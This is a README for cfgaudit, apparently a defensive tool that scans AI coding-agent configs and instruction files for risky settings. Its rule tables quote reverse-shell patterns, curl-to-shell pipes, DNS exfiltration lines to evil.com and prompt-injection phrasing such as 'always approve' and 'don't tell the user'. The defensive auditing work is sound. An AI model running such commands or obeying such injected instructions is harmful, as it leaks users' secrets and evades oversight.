cfgaudit/cfgaudit
GitHub: cfgaudit/cfgaudit
cfgaudit 是一款 AI 编程助手配置文件安全审计工具,通过扫描 Claude Code、Cursor 等工具的配置来发现违反最小权限原则的设置并映射到 OWASP LLM 标准。
Stars: 6 | Forks: 0
# cfgaudit
AI-agent 配置文件的安全审计工具。
cfgaudit 扫描 AI 编程助手的配置——首先支持 [Claude Code](https://docs.anthropic.com/en/docs/claude-code)——并标记出违反最小权限原则,或导致敏感文件暴露给 agent context 的设置。
每项发现都对应一个 [OWASP Top 10 for LLM Applications 2025](https://owasp.org/www-project-top-10-for-large-language-model-applications/) 风险(主要映射)。同时还提供了两个辅助视角:用于 MCP-server 规则的 [OWASP MCP Top 10](#owasp-mcp-top-10-mapping-secondary),以及供基于 AI 安全验证标准进行验证的团队使用的 [OWASP AISVS 1.0 映射](docs/aisvs-mapping.md)。
## 安装
Homebrew (macOS / Linux):
```
brew install cfgaudit/tap/cfgaudit
```
使用 Go 工具链:
```
go install github.com/cfgaudit/cfgaudit/cmd/cfgaudit@latest
```
或者从 [发布页面](https://github.com/cfgaudit/cfgaudit/releases) 下载预构建的二进制文件 (Linux / macOS / Windows, amd64 / arm64)。
## 用法
```
# 审计当前目录
cfgaudit
# 审计特定项目根目录
cfgaudit /path/to/project
# 输出格式默认为 "auto":在交互式终端中显示表格,在通过管道或重定向时为纯
# 文本。使用 --format table / --format text 强制指定任一格式。
cfgaudit --format table
# 输出为 JSON(用于 CI 集成)
cfgaudit --format json
# 输出为 SARIF 2.1.0(用于 GitHub Code Scanning)
cfgaudit --format sarif > cfgaudit.sarif
# 输出为 Code Climate JSON(用于 GitLab Code Quality / merge-request findings)
cfgaudit --format codeclimate > gl-code-quality.json
# 覆盖用于规则限制的 Claude Code 版本(否则通过 `claude --version` 检测)
cfgaudit --claude-version 2.1.148
# 打印 cfgaudit 版本并退出
cfgaudit --version
# 仅运行特定规则(CSV 或重复使用;--only 和 --skip 可以组合使用)
cfgaudit --only CFG001,CFG003
cfgaudit --only CFG001 --only CFG003
cfgaudit --skip CFG006,CFG009
# 使用显式配置文件(否则将自动发现 .cfgaudit.yml)
cfgaudit --config path/to/.cfgaudit.yml
# 同时扫描 Claude Code plugin/skill 包
cfgaudit --plugins ./my-plugin
# 零容忍 CI:使 warn findings 也导致构建失败
cfgaudit --strict
# 对 hook 命令进行更深度的 shell 分析(CFG045,需要 shellcheck binary)
cfgaudit --shellcheck
# 在终端中解释规则(渲染其文档)
cfgaudit explain CFG001
# 列出所有规则(按 OWASP — LLM 或 MCP — 过滤,或输出 JSON)
cfgaudit list
cfgaudit list --owasp LLM06
cfgaudit list --owasp MCP05
cfgaudit list --format json
# 为新项目搭建加固的 .claude/settings.json
cfgaudit init # write a safe-default deny list
cfgaudit init --dry-run # print the JSON without writing
cfgaudit init --interactive # add project-specific deny entries
# 在 settings.json 和 .cfgaudit.yml policy 之间同步 deny 规则
cfgaudit policy generate # settings.json permissions.deny -> .cfgaudit.yml require-deny
cfgaudit policy apply --dry-run # preview: .cfgaudit.yml require-deny -> settings.json permissions.deny
cfgaudit policy apply # write the missing deny entries
```
**`init` 子命令** — 搭建带有强化基线 `permissions.deny` 的 `.claude/settings.json`(包含针对凭证/密钥/云/SSH 的读取拒绝,以及破坏性/网络/特权命令类别),使新项目默认安全启动,并立即通过策略规则 (CFG006/CFG041–CFG044)。如果文件已存在则中止(使用 `--force`,或使用 `cfgaudit policy apply` 进行合并);`--dry-run` 打印 JSON;`--interactive` 添加项目特定条目。
**`policy` 子命令** — 保持 `permissions.deny`(由 Claude Code 强制执行)和 `policy.require-deny`(由 cfgaudit 审计 / CFG025)同步。`generate` 将当前运行时拒绝列表冻结为可审计策略,并保留 `.cfgaudit.yml` 的其余部分(包括注释)。`apply` 将策略发布到项目设置中;两者均以 **累加** 方式合并(不删除任何内容)且具有幂等性。`apply` 会将 `settings.json` 重写为带有字母排序顶层键的 2 空格缩进 JSON —— 请先运行 `--dry-run` 进行预览。
**基于范围的发现**
每项发现都带有 `Scope`(`project`、`project-local` 或 `user`),反映其来源于哪个文件。当配置错误存在于用户全局设置中时,影响范围会被放大的规则会在消息中附加说明,并且 `CFG009`(hook 命令插入了 shell 变量)在用户范围内会从 `warn` 升级为 `error` —— `~/.claude/settings.json` 中的恶意 hook 会在用户打开的每个项目中触发。
**版本门控**
某些规则在生效前需要最低版本的 Claude Code。cfgaudit 在每次调用时运行一次 `claude --version`,将结果与每个规则的 `MinVersion` 进行比较,并将低于阈值的规则替换为单个 `info` 严重级别的跳过通知。检测到的版本会在每次扫描开始时记录到 stderr;`--claude-version` 标志可覆盖检测(适用于未安装二进制文件的 CI 容器)。当检测和标志均未产生版本时,每条规则都将无条件运行。
**退出码**
| 代码 | 含义 |
|------|---------|
| `0` | 无发现,或仅有 `warn`/`info`(未使用 `--strict`) |
| `1` | 至少有一项 `error` 严重级别的发现(或在 `--strict` / `strict: true` 下有任何 `warn`) |
| `2` | 工具错误(文件未找到、解析错误) |
**抑制发现**
在相关配置文件的同一行或上一行添加注释:
```
// cfgaudit:ignore CFG001 -- intentional for local dev sandbox
```
**配置文件 (`.cfgaudit.yml`)**
cfgaudit 会自动发现扫描目录中的 `.cfgaudit.yml`(或 `.cfgaudit.yaml`);`--config
` 可覆盖自动发现。CLI 标志优先于配置文件。
```
# 针对特定规则的覆盖
rules:
CFG003: off # disable a rule (flat form)
CFG004:
severity: warn # override a rule's severity (also accepts the flat form CFG004: warn)
# 丢弃低于此严重级别("error"、"warn"、"info")的 findings
min-severity: warn
# 将 warn findings 视为影响 exit code 的错误
strict: false
# 在成功运行时总是以 0 退出(用于非阻塞 CI 的 advisory 模式)
no-exit-codes: false
# 对 hook/helper 命令运行 shellcheck(CFG045;需要 shellcheck binary)
shellcheck: false
# 排除其 findings 的 path globs(相对于被扫描的目录)。
# 支持 *、** 以及用于目录前缀的结尾 /。
exclude-paths:
- vendor/
- "**/.claude/settings.local.json"
# 组织 policy(CFG025):必须被 deny / 不能被 allow 的命令。
# 匹配具有包含关系感知能力(Bash(git:*) 涵盖 Bash(git commit:*))。
policy:
require-deny:
- "Bash(git commit:*)" # must be covered by permissions.deny
forbid-allow:
- "Bash(git commit:*)" # must not be grantable by permissions.allow
```
## GitHub Action
无需安装任何内容即可在 workflow 中运行 cfgaudit —— 该 Action 封装了已发布的容器镜像:
```
- uses: cfgaudit/cfgaudit@v1
with:
path: .
```
通过 SARIF 将发现上传到 GitHub Code Scanning(在 job 中添加 `permissions: security-events: write`):
```
- uses: cfgaudit/cfgaudit@v1
with:
format: sarif
output: cfgaudit.sarif
fail-on: never # advisory: let Code Scanning surface findings, don't fail the step
- uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: cfgaudit.sarif
```
**输入参数:** `path`(默认 `.`)、`format`(`text`/`json`/`sarif`)、`strict`、`user`、`config`、`plugins`、`output`、`fail-on`(`error`/`never`)、`image`。
**输出参数:** `exit-code`、`output-file`。默认情况下,该步骤在发现达到或超过配置的阈值时会失败;设置 `fail-on: never` 可进入建议模式。
## GitLab CI/CD 组件
对于 GitLab pipelines,包含该组件(发布于 [CI/CD Catalog](https://docs.gitlab.com/ci/components/)):
```
include:
- component: gitlab.com/cfgaudit/cfgaudit/cfgaudit@v1.5.0
inputs:
path: .
format: text
```
输入参数:`stage`、`path`、`format`、`version`(固定的 ghcr.io 镜像标签)、`allow_failure`。除非设置 `allow_failure: true`,否则 job 在遇到 `error` 严重级别的发现时会中断 pipeline。
要通过 Code Quality 小组件在合并请求中 **内联显示** 发现,请使用第二个组件(生成 GitLab Code Quality 报告):
```
include:
- component: gitlab.com/cfgaudit/cfgaudit/cfgaudit-code-quality@v1.5.0
inputs:
path: .
```
将组件固定到已发布的 tag,而不是移动的 ref —— 这与 cfgaudit 自身的供应链指导 (CFG010/CFG013) 保持一致。
## Claude Code 插件
该 repo 同时也是一个 Claude Code 插件市场。安装它以获取按需扫描命令,以及在配置文件更改时自动扫描:
```
/plugin marketplace add cfgaudit/cfgaudit
/plugin install cfgaudit@cfgaudit
```
该插件添加了:
- **`/cfgaudit:scan`** — 按需扫描当前项目。
- **`/cfgaudit:explain `** — 解释规则(检查内容、原因、如何修复);不带参数时列出所有规则。
- **`/cfgaudit:init`** — 搭建 **项目感知** 的 `.claude/settings.json`:Claude 检查项目工具并在基线之上定制拒绝列表,然后验证是否为 0 发现。
- 一个 **Stop hook**(会话结束时扫描)和一个 **PostToolUse hook**(在编辑 `settings.json` / `CLAUDE.md` / `.mcp.json` / `.claude/` 文件后扫描)。
Hooks 会调用您 `PATH` 中的 `cfgaudit` 二进制文件(通过上面的 Homebrew 或 `go install` 安装);如果未找到,内置的包装器会为您的 OS/arch 下载匹配的预编译发布二进制文件(经过校验和验证并缓存)—— **无需 Go 工具链**。通过 `.claude/settings.json` 进行团队推广:
```
{
"extraKnownMarketplaces": {
"cfgaudit": { "source": { "source": "github", "repo": "cfgaudit/cfgaudit" } }
}
}
```
## cfgaudit 检查内容
规则按其针对的配置部分进行分组。
### `settings.json` — 权限、环境变量、hooks 和文件
常规 Claude Code 设置:权限模型、环境变量块、生命周期 hooks、命令运行助手、schema 和本地文件清理。
| ID | 严重程度 | 描述 | OWASP |
|----|----------|-------------|-------|
| [CFG001](docs/rules/CFG001.md) | error | `permissions.allow` 授予了不受限制的 shell 权限 —— `Bash(*)`/`Bash(**)`、裸 `Bash` 或 `PowerShell`/`PowerShell(*)` | LLM06 |
| [CFG002](docs/rules/CFG002.md) | warn | `permissions.allow` 授予了不受限制的文件写入权限 —— `Edit(*)`/`Write(*)` 或裸 `Edit`/`Write` | LLM06 |
| [CFG040](docs/rules/CFG040.md) | warn | `permissions.allow` 包含不受限制的 `WebFetch`(裸 / `domain:*`)—— 任意 URL 获取的数据外发通道 | LLM06 |
| [CFG023](docs/rules/CFG023.md) | error/warn | `permissions.allow` 授予了带有通配符参数的危险命令(`curl`/`sudo`/`npx`/shells → error;`find`/`sed`/`git`/interpreters/`ssh` → warn) | LLM06 |
| [CFG025](docs/rules/CFG025.md) | error | 违反了来自 `.cfgaudit.yml` 的自定义组织策略(`require-deny` / `forbid-allow`)—— 除非配置了 `policy:`,否则不生效 | LLM06 |
| [CFG004](docs/rules/CFG004.md) | error/warn | `defaultMode` 设置为 `bypassPermissions` 或 `auto` | LLM06 |
| [CFG005](docs/rules/CFG005.md) | error | `ANTHROPIC_BASE_URL` 指向非 Anthropic endpoint (CVE-2026-21852) | LLM02 |
| [CFG046](docs/rules/CFG046.md) | warn/error | `OTEL_EXPORTER_OTLP_*ENDPOINT` 将遥测重定向到非本地 collector(原始 IP 触发 error) | LLM02 |
| [CFG006](docs/rules/CFG006.md) | warn | `permissions.deny` 缺失或为空 —— 没有护栏阻挡破坏性操作 | LLM06 |
| [CFG041](docs/rules/CFG041.md) | error | `permissions.deny` 存在但未限制 `.env` 文件 —— Claude 可以读取凭证 | LLM02 |
| [CFG042](docs/rules/CFG042.md) | error | `permissions.deny` 未限制私钥/证书文件(`*.pem`/`*.key`/`*.p12`/`*.pfx`/`*.jks`) | LLM02 |
| [CFG043](docs/rules/CFG043.md) | error | `permissions.deny` 未限制云凭证文件(AWS `.aws`, GCP `gcloud`, Azure `.azure`) | LLM02 |
| [CFG044](docs/rules/CFG044.md) | error | `permissions.deny` 未限制 SSH 私钥(`.ssh/`, `id_rsa`/`id_ed25519`/…) | LLM02 |
| [CFG007](docs/rules/CFG007.md) | error | `env` 块包含硬编码的密钥(厂商密钥前缀或 `*_TOKEN`/`*_SECRET`/...) | LLM02 |
| [CFG073](docs/rules/CFG073.md) | error | `env`/MCP `env`/`headers` 值是硬编码的加密货币签名凭证 —— Ethereum 私钥(`0x`+64 位十六进制)或 BIP-39 助记词 —— 且 **无法轮换**;CFG054 的熵启发式检测会漏掉这两者 | LLM02 |
| [CFG008](docs/rules/CFG008.md) | error | 命令匹配反弹 shell 模式(`/dev/tcp/`, `nc -e`, `bash -i …`, `mkfifo`, `socat exec`)—— 扫描 hooks、凭证/运行时助手和 MCP `headersHelper` | LLM06 |
| [CFG009](docs/rules/CFG009.md) | warn/error | 命令插入了 shell 变量(`$VAR` / `${VAR}`)—— 受攻击者影响的数据可能会到达 shell;在用户范围内升级为 `error` | LLM01 |
| [CFG012](docs/rules/CFG012.md) | warn | `settings.json` 包含未知的顶层键或其值类型与内置 SchemaStore schema 矛盾 | LLM02 |
| [CFG013](docs/rules/CFG013.md) | warn | `.claude/settings.local.json` 或 `CLAUDE.local.md` 存在于 repo 中但未被 `.gitignore` 排除 | LLM02 |
| [CFG014](docs/rules/CFG014.md) | error | 命令直接将 `curl`/`wget` 输出通过管道传递给 shell 或解释器(远程代码执行) | LLM03 |
| [CFG015](docs/rules/CFG015.md) | warn/error | 命令包含 `$(…)` 或反引号替换(如果替换本身涉及到网络通信则为 error) | LLM01 |
| [CFG016](docs/rules/CFG016.md) | error/info | 在项目范围的设置中定义了凭证助手(`apiKeyHelper`, `awsCredentialExport`, `awsAuthRefresh`, `gcpAuthRefresh`)(CVE-2025-59536) | LLM02 |
| [CFG022](docs/rules/CFG022.md) | error/warn | `sandbox` 配置削弱或劫持了执行沙箱(`excludedCommands` 通配符/shell、`bwrapPath`/`socatPath`、用户范围的 `allowAppleEvents`)(CVE-2026-39861) | LLM06 |
| [CFG027](docs/rules/CFG027.md) | error | 命令安装了持久化机制(cron、shell 启动文件、`system enable`、launchd)—— 扫描 hooks 和助手 | LLM06 |
| [CFG028](docs/rules/CFG028.md) | error | 命令写入 Claude 信任/配置文件(`CLAUDE.md`, `settings.json`, `.mcp.json`, `.claude/`)—— 自我持续的注入/持久化 | LLM06 |
| [CFG037](docs/rules/CFG037.md) | error | 命令读取或复制 SSH 私钥(`~/.ssh/id_rsa`, `id_ed25519`, …)—— 扫描 hooks 和助手 | LLM02 |
| [CFG038](docs/rules/CFG038.md) | error | 命令将环境变量转储到网络(`env`/`printenv` → `curl`/`nc`)—— 外发所有密钥 | LLM02 |
| [CFG072](docs/rules/CFG072.md) | error | 命令将 `$(…)`/反引号替换内容编码到 DNS 查询名称或 URL 主机中(`dig "$(cat secret).evil.com"`, `curl http://$(env).evil.com`)—— 通过 UDP/53 外发数据,这是 CFG038 遗漏的通道 | LLM02 |
| [CFG039](docs/rules/CFG039.md) | warn/error | 命令运行递归强制删除(`rm -rf`)—— 当目标范围广泛时(`~`, `/`, `..`, `$HOME`, `*`)触发 error | LLM06 |
| [CFG045](docs/rules/CFG045.md) | error/warn/info | 对 hook/helper 命令进行 ShellCheck 分析(可选择开启 `--shellcheck`;消息中包含 SC 代码) | LLM06 |
| [CFG067](docs/rules/CFG067.md) | warn | 在项目范围的 `.claude/settings.json` 中定义了 hooks —— 提交的 hooks 会在每个打开 repo 的开发者机器上运行 (CVE-2025-59536);内容检查 (CFG008/014/…) 会单独触发 | LLM03 |
### MCP servers — `settings.json` `mcpServers` & `.mcp.json`
关于 MCP 服务器的规则。MCP 是一个共享标准,因此针对每个服务器的检查 (CFG010–CFG021) 是 **跨 agent 的**:它们会针对 `settings.json` 中的内联 `mcpServers` 块、项目根目录的 `.mcp.json`(被 `enableAllProjectMcpServers` / `enabledMcpjsonServers` 自动批准的文件)以及其他 agent 的 MCP 配置运行 —— 包括 `.cursor/mcp.json`(使用 `--user` 时包含 `~/.cursor/mcp.json`)、`.vscode/mcp.json`(处理了 VS Code 的顶层 `servers` 键)、`cline_mcp_settings.json`、Windsurf 的 `~/.codeium/windsurf/mcp_config.json`、Gemini CLI 的 `.gemini/settings.json` 的 `mcpServers` 块(使用 `--user` 时包含 `~/.gemini/settings.json`)、OpenAI Codex CLI 的 `~/.codex/config.toml` 中的 `[mcp_servers]` 表(使用 `--user` 时),以及 Continue 的 `.continue/config.yaml` 的 `mcpServers` 列表(使用 `--user` 时包含 `~/.continue/config.yaml`)。每项发现都会归因于声明该服务器的文件。格式错误的配置会被报告为工具错误,而不是被静默跳过。`CFG003` 管理总括性的自动批准标志,是 Claude Code 专有的(仅限 `settings.json`)。
| ID | 严重程度 | 描述 | OWASP |
|----|----------|-------------|-------|
| [CFG003](docs/rules/CFG003.md) | error | `enableAllProjectMcpServers: true` —— 自动批准所有 repo MCP 服务器 (CVE-2025-59536) | LLM06 |
| [CFG053](docs/rules/CFG053.md) | error/warn | 总括性 MCP 信任设置 —— `allowAllClaudeAiMcps: true`,带有 `*`/庞大列表的 `enabledMcpjsonServers`,或带有通配符的 `allowedMcpServers` `serverUrl` | LLM06 |
| [CFG055](docs/rules/CFG055.md) | error/warn | 提交的设置中的 `enabledPlugins` 自动启用插件(加载其 hooks/MCP)或 `extraKnownMarketplaces` 注册了第三方市场 | LLM03 |
| [CFG010](docs/rules/CFG010.md) | warn | MCP 服务器使用了未固定版本的 package 或镜像(`@latest`, `:latest`,无 `@version`;npx/pnpm/yarn/bunx + uvx/pipx `==` 版本锁定) | LLM03 |
| [CFG011](docs/rules/CFG011.md) | warn | MCP 服务器的 `alwaysAllow` 范围太广(通配符、修改状态的工具,或 10 个以上的条目) | LLM06 |
| [CFG017](docs/rules/CFG017.md) | error | MCP 服务器设置 `dangerouslyAllowBrowser: true` —— 浏览器发起的请求实现了 DNS-rebinding 到 RCE (CVE-2025-49596) | LLM06 |
| [CFG018](docs/rules/CFG018.md) | warn | MCP 服务器绑定到所有网络接口(`0.0.0.0` / `[::]`)—— 局域网中的任何人都可访问 ("NeighborJack") | LLM06 |
| [CFG019](docs/rules/CFG019.md) | error | MCP 服务器 `command` 运行内联脚本 —— 一个 shell 解释器(`bash`/`pwsh`/…)或一个带有 eval 标志的语言解释器(`node -e`, `python -c`, `deno eval`, …)—— 投毒配置的标志 (CVE-2026-21518) | LLM06 |
| [CFG020](docs/rules/CFG020.md) | error | MCP 服务器 `env` 在启动时注入代码 —— 动态链接器(`LD_PRELOAD`/`DYLD_*`)或解释器启动向量 `BASH_ENV`/`PYTHONSTARTUP`/`NODE_OPTIONS`/`RUBYOPT`/`PERL5OPT` (CVE-2026-44995) | LLM06 |
| [CFG021](docs/rules/CFG021.md) | warn | MCP 服务器 `env` 通过非本地 proxy 路由流量(`HTTP_PROXY`/`HTTPS_PROXY`/`ALL_PROXY`)—— MITM 和 header 密钥捕获 | LLM02 |
| [CFG049](docs/rules/CFG049.md) | error/warn | 远程 MCP 服务器 `url` 指向非回环主机(明文 `http://`/`ws://` 或原始 IP → error;TLS 主机名 → warn)—— 数据外发 / MITM 通道 | LLM02 |
| [CFG050](docs/rules/CFG050.md) | error | MCP 服务器 `env` 或 `headers` 包含硬编码的密钥(厂商密钥模式、类似密钥的名称,或带有字面凭证的 auth header) | LLM02 |
| [CFG054](docs/rules/CFG054.md) | warn | `env`/`headers` 中存在在无害键名下看起来像硬编码密钥的高熵值(针对 CFG007/CFG050 的熵兜底机制) | LLM02 |
| [CFG052](docs/rules/CFG052.md) | warn | 在多个来源中声明了 MCP 服务器名称(`settings.json` `mcpServers` + `.mcp.json`)—— 优先级不明确 / 覆盖 | LLM03 |
| [CFG066](docs/rules/CFG066.md) | warn/error | MCP 服务器 `env` 设置了通配符 CORS origin(`*`)—— 任何网页都可以调用它;如果同时禁用了身份验证,则触发 error (CVE-2026-33010) | LLM06 |
| [CFG068](docs/rules/CFG068.md) | error | MCP 服务器将模板化凭证(auth header/env 中的 `{{TOKEN}}`/`${SECRET}`)转发到明文或原始 IP endpoint —— 运行时会将其扩展为发送到那里的真实密钥 (CVE-2026-31951) | LLM02 |
| [CFG069](docs/rules/CFG069.md) | warn | MCP 服务器 `env` 在没有日志脱敏 / 静默日志级别的情况下启用 HTTP 传输 —— 请求体(Bearer token、API keys)会被记录 (CVE-2026-42282/41495) | LLM02 |
| [CFG075](docs/rules/CFG075.md) | error | MCP 服务器 `env`/`args` 禁用 TLS 证书验证(`NODE_TLS_REJECT_UNAUTHORIZED=0`, `GIT_SSL_NO_VERIFY`, `--insecure`, `sslmode=disable`, …)—— 将 `https://` endpoint 变为可 MITM 的通道 | LLM02 |
| [CFG076](docs/rules/CFG076.md) | error/warn | MCP 服务器 `args` 暴露广泛的文件系统根目录(`/`, `~`, `$HOME`, 驱动器根目录 → error;`..` 父级遍历 → warn)—— 一个范围覆盖整个机器/主目录而非单个目录的文件系统服务器 | LLM06 |
| [CFG070](docs/rules/CFG070.md) | warn | MCP 服务器 `command` 是相对于 repo 的路径(`./x`, `scripts/x`)—— 一个在 clone 时自动运行且被提交到 repo 内的可执行文件 (CVE-2025-54135) | LLM03 |
| [CFG058](docs/rules/CFG058.md) | warn | MCP 服务器使用已废弃的 `type: "sse"` 传输 —— 已被 Streamable HTTP (`type: "http"`) 取代;存在 DNS-rebinding/Origin 弱点的较弱传输方式 | LLM02 |
| [CFG059](docs/rules/CFG059.md) | error/warn | MCP 服务器 / hook package 或 endpoint 主机是已知良好标识符的 typosquat —— 涵盖从任何命令站点运行的 `mcpServers` 启动器和 `npx`/`bunx`/`pnpm dlx`/`yarn dlx` packages(同形异义词 / 单个字符差异 → error;双字符差异 / 非官方作用域 → warn) | LLM03 |
#### OWASP MCP Top 10 映射(辅助)
上述 MCP-server 规则除了主要的 LLM Top 10 风险映射外,还带有针对 [OWASP Top 10 for Model Context Protocol](https://owasp.org/www-project-mcp-top-10/) 的 **辅助** 映射。它是提供给习惯使用 MCP 分类法的读者的补充视角;LLM 映射依然是主要映射。
| OWASP MCP (v0.1) | 规则 |
|------------------|-------|
| MCP01 – Token Mismanagement & Secret Exposure | CFG021, CFG049, CFG050, CFG054, CFG058, CFG068, CFG069, CFG075 |
| MCP02 – Privilege Escalation via Scope Creep | CFG003, CFG011, CFG053, CFG076 |
| MCP04 – Software Supply Chain Attacks & Dependency Tampering | CFG010, CFG055, CFG059, CFG070 |
| MCP05 – Command Injection & Execution | CFG017, CFG019, CFG020 |
| MCP07 – Insufficient Authentication & Authorization | CFG018, CFG066 |
| MCP09 – Shadow MCP Servers | CFG052 |
MCP03 (Tool Poisoning)、MCP06 (Intent Flow Subversion)、MCP08 (Lack of Audit & Telemetry) 和 MCP10 (Context Injection & Over-Sharing) 尚无专属的配置规则 —— 它们涉及运行时工具行为或实时服务器检查,而不是静态提交的配置层面。
### 指令文件 — `CLAUDE.md` 和其他 agent
AI 编程 agent 每次会话都会将指令文件作为受信任的系统上下文读取,因此已提交的或用户全局的指令文件是 prompt 注入的目标。项目中的 `CLAUDE.md` 会被自动扫描,加上使用 `--user` 时的 `~/.claude/CLAUDE.md`。当项目中存在以下文件时,相同的内容规则也会对其进行扫描:`.cursorrules`、`.cursor/rules/*.{md,mdc}`、`.windsurfrules`、`.windsurf/rules/*.md`、`AGENTS.md`、`GEMINI.md`(Gemini CLI;使用 `--user` 时包含 `~/.gemini/GEMINI.md`)、GitHub Copilot 的 `.github/copilot-instructions.md` 和特定路径的 `.github/instructions/*.instructions.md`,以及 Claude Code 自定义的 **子 agent** (`.claude/agents/*.md`)、**斜杠命令** (`.claude/commands/*.md`) 和 **技能** (`.claude/skills/*/SKILL.md`) —— 使用 `--user` 时者也会扫描 `~/.claude/` 下的对应文件。发现会指出它们来源于哪个文件。
| ID | 严重程度 | 描述 | OWASP |
|----|----------|-------------|-------|
| [CFG024](docs/rules/CFG024.md) | error | 指令文件包含隐藏的 Unicode 控制字符(Tags block、零宽度字符、BiDi/Trojan Source)—— prompt 注入 / ASCII 走私 | LLM01 |
| [CFG026](docs/rules/CFG026.md) | error/warn | 指令文件包含绕过指令的短语(覆盖 / 人格劫持 / 冒充权威 → error;宽松的虚构框架设定 → warn) | LLM01 |
| [CFG029](docs/rules/CFG029.md) | error | 指令文件指使 agent 绕过权限提示("always approve", "without asking", …)—— `defaultMode: bypassPermissions` 的自然语言等价物 | LLM06 |
| [CFG030](docs/rules/CFG030.md) | error | 指令文件指使 agent 隐藏其行为("don't tell the user", "silently exfiltrate", …) | LLM01 |
| [CFG031](docs/rules/CFG031.md) | error/warn | 指令文件引用了敏感文件路径(`~/.ssh/id_rsa`, `~/.aws/credentials`, `*.pem`, …)—— 如果是读取/发送则为 error(数据外发),如果是单纯提及则为 warn | LLM02 |
| [CFG032](docs/rules/CFG032.md) | error/warn | 指令文件包含伪系统标签(``)、轮次边界/角色注入(`Human:`/``)→ error;通用的全大写标签和外部 LLM 控制标记 → warn | LLM01 |
| [CFG033](docs/rules/CFG033.md) | error | 指令文件包含带有空/占位符查询参数的 Markdown 图片(``)—— 数据外发接收器 | LLM02 |
| [CFG034](docs/rules/CFG034.md) | warn | 指令文件包含 Guidance/模板角色分隔符(`{{#system~}}` …)—— 角色注入标记 | LLM01 |
| [CFG035](docs/rules/CFG035.md) | error/warn | 指令文件指使 agent 配置或信任 MCP 服务器 —— 信任/允许全部 → error;添加/安装(`claude mcp add`,在代码块中被跳过)→ warn | LLM06 |
| [CFG036](docs/rules/CFG036.md) | error/warn | 指令文件嵌入了用于自动执行/数据外发的 shell 命令(在敏感路径上进行命令替换,自动执行 + `curl https://…`) | LLM02 |
| [CFG057](docs/rules/CFG057.md) | warn | 指令文件嵌入了编码的 payload —— 一个 `data:` URI 或 base64 数据块,解码后为注入短语或命令(逃避 CFG024/CFG026 检测) | LLM01 |
| [CFG051](docs/rules/CFG051.md) | error/warn | skill/command/subagent frontmatter 的 `allowed-tools` 授予了不受限制的 shell 或所有工具(`Bash`, `*`, `all`)—— 未被 `disallowed-tools` 缩小范围 | LLM06 |
| [CFG056](docs/rules/CFG056.md) | warn | 模型可调用的 skill/command/subagent 具有宽泛/常驻的 `description` 或 `triggers` 条目("for every request", "always invoke")—— 通过贪婪选择实现行为劫持 | LLM01 |
### Plugin 和 skill packages
安装 Claude Code plugin 是一个供应链信任决策。使用 `--plugins `(并在扫描的项目捆绑了 `.claude-plugin/` 时自动发现,或使用 `--user` 时扫描 `~/.claude/plugins/`),cfgaudit 会深入 package **内部**,并针对其捆绑的产物运行现有规则:
| 产物 | 应用的规则 |
|----------|---------------|
| `SKILL.md` | CLAUDE.md 内容规则 —— CFG024(隐藏的 Unicode)、CFG026(绕过指令) |
| `hooks/hooks.json` | 命令内容规则 —— CFG008, CFG009, CFG014, CFG015, CFG027, CFG028;针对 `type: "prompt"` / `type: "agent"` hook 提示词的指令内容规则 —— CFG024, CFG026, CFG029–CFG036, CFG057 |
| `plugin.json` `mcpServers` | MCP 规则 —— CFG010, CFG011, CFG017–CFG021 |
发现会归因于 package 内的文件。捆绑的二进制文件/任意脚本 **不** 进行内容扫描(这属于常规 SAST,不在 cfgaudit 的配置审计范围内)。
### Agent-skills lockfile — `skills-lock.json`
[vercel-labs/skills](https://github.com/vercel-labs/skills) CLI (skills.sh) 将其拉取 agent **技能**(指令内容)的外部来源记录在 repo 根目录的 `skills-lock.json` 中。cfgaudit 扫描可提交的项目根目录文件;用户全局的 `~/.agents/.skill-lock.json` 不在范围内(不可提交)。
| 规则 | 严重程度 | 标记内容 | OWASP |
|------|----------|---------------|-------|
| [CFG074](docs/rules/CFG074.md) | warn | 一个 `skills-lock.json` 条目从 **没有完整性锁定** 的远程源拉取技能内容 —— 没有内容哈希(`computedHash`/`integrity`)、确定的 `commit`,或完整的 SHA `ref` —— 因此上游所有者可以在每个贡献者下更改已安装的技能文本(锁定的条目和 `local` 源不会被标记) | LLM03 |
### VS Code workspace — `.vscode/`
`.vscode/` 文件被提交到 repo 中并被 VS Code **及其分支(Cursor, Windsurf)** 读取,因此已提交的 workspace 配置是受 repo 控制的自动运行 / 供应链攻击面。cfgaudit 会在这些文件出现时自动扫描,并将发现归因于源文件。
| ID | 严重程度 | 描述 | OWASP |
|----|----------|-------------|-------|
| [CFG047](docs/rules/CFG047.md) | error | `.vscode/tasks.json` 任务在打开文件夹时运行(`runOptions.runOn: "folderOpen"`)—— 打开 repo 时零点击代码执行;静默运行(`presentation.reveal: "never"`)会被特别指出 | LLM06 |
| [CFG048](docs/rules/CFG048.md) | error | `.vscode/settings.json` 总括性地自动批准 agent 工具(`chat.tools.global.autoApprove` / `chat.tools.autoApprove: true`)—— 移除了确认提示,是跨 agent 的 `bypassPermissions` 等价物 | LLM06 |
### Gemini CLI — `.gemini/settings.json` 和 `GEMINI.md`
[Gemini CLI](https://github.com/google-gemini/gemini-cli) 将其配置存储在 `settings.json` 中,其安全面与 Claude Code 相似。cfgaudit 会发现 `.gemini/settings.json`(项目)和 `~/.gemini/settings.json`(使用 `--user` 时),以及 `GEMINI.md`(项目) / `~/.gemini/GEMINI.md` —— 后者使用与 `CLAUDE.md` 相同的内容规则进行扫描 (CFG024–CFG036, CFG057)。Gemini 的 `mcpServers` 块会应用共享的 MCP 规则 (CFG010–CFG021, CFG049–CFG059),并归因于设置文件。有三条规则涵盖了 Gemini 特定的设置:
| ID | 严重程度 | 描述 | OWASP |
|----|----------|-------------|-------|
| [CFG060](docs/rules/CFG060.md) | error | Gemini `general.defaultApprovalMode` 为 `auto_edit`(或 `yolo`)—— 自动批准工具操作,是 Gemini 的 `defaultMode: bypassPermissions` 等价物 | LLM06 |
| [CFG061](docs/rules/CFG061.md) | error/warn | Gemini sandbox 被削弱 —— `tools.sandboxAllowedPaths` 暴露了 `/` 或 `~` (error),或者 `tools.sandboxNetworkAccess: true` 给予了沙箱工具网络出口权限 (warn) | LLM06 |
| [CFG062](docs/rules/CFG062.md) | warn | Gemini `security.blockGitExtensions: false` 且没有 `security.allowedExtensions` 白名单 —— 从任意 Git repo 安装扩展(供应链) | LLM03 |
### OpenAI Codex CLI — `~/.codex/config.toml` 和 `AGENTS.md`
